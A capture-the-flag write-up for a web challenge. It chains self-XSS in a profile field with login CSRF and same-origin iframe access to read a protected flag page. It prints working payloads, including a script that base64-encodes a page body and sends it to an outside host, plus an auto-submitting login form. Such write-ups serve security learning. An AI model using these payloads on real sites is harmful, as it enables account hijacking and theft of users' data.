Tags: web
Rating: 5.0
Try chatting with tech support about getting a flag.
The challenge has 8 routes:
/
/me
/flag
/logout
/login
/about
/chat
/register
Flag is at /flag
route and only the chat support user has access to the flag.
There is chat functionality on website that lets you to chat with support user. To start chat you can request chat with a reason and the reason request is vulnerable to xss.
However the XSS will trigger on an iframe which is on another domain typeselfsub-support.web.ctfcompetition.com
and we are unable to access parent window directly due to Same-origin policy
/me
routeWe can set address for our profile and it's also vulnerable to XSS. However we are not sure if admin has this functionality or not.
/login
routeThere are no csrf protection in /login
route so we can login anybody to our controlled accout with CSRF.
Session cookies same-site attribute is set to
none
So we can easily perform CSRF.
Consider this situation, website-1
opens 2 frames to website-2
. The html code would be something like this:
<!-- website-1 -->
<body>
<iframe src="//site2.com/page1.html">
</iframe>
<iframe src="//site2.com/page2.html">
</iframe>
</body>
now in //site2.com/page2.html
we can access //site2.com/page1.html
dom with this code:
<body>
<script>
let dom = window.top.frames[0].document
</script>
</body>
I used webhook.site which is free to host my payload but you can solve this without hosting the payload anywhere but you will need to do some changes to payload.
First we need to put a xss payload in our profile page that steals flag page's body. I used this:
<script>fetch('https://yourwebsite/?a='+encodeURIComponent(btoa(FLAGFRAME.document.body.innerHTML)))</script>
In my payload, the FLAGFRAME
is top.frames[0].frames[0].frames[0]
Now we have to construct our payload. First we open frame to flag so we can access to it later.
<iframe id="flag" src="https://typeselfsub.web.ctfcompetition.com/flag">
</iframe>
Then we open frame to perform CSRF to login with our login credentials.
<iframe id="login" srcdoc='
<form action="https://typeselfsub.web.ctfcompetition.com/login" name="fa" method="POST">
<input name="username" value="USERNAME">
<input name="password" value="PASSWORD">
<input name="csrf">
</form>
'>
</iframe>
And finally the JS
<script>
flag.onload=function(){
login.contentWindow.document.forms[0].submit();
}
</script>
You can find final payload at index.html
To get the flag, We send iframe to embed our payload.
<iframe src="//hosting.com/payload_index.html">
</iframe>
Then you will receive flag page's body in base64 format.
Flag: CTF{self-xss?-that-isn't-a-problem-right...}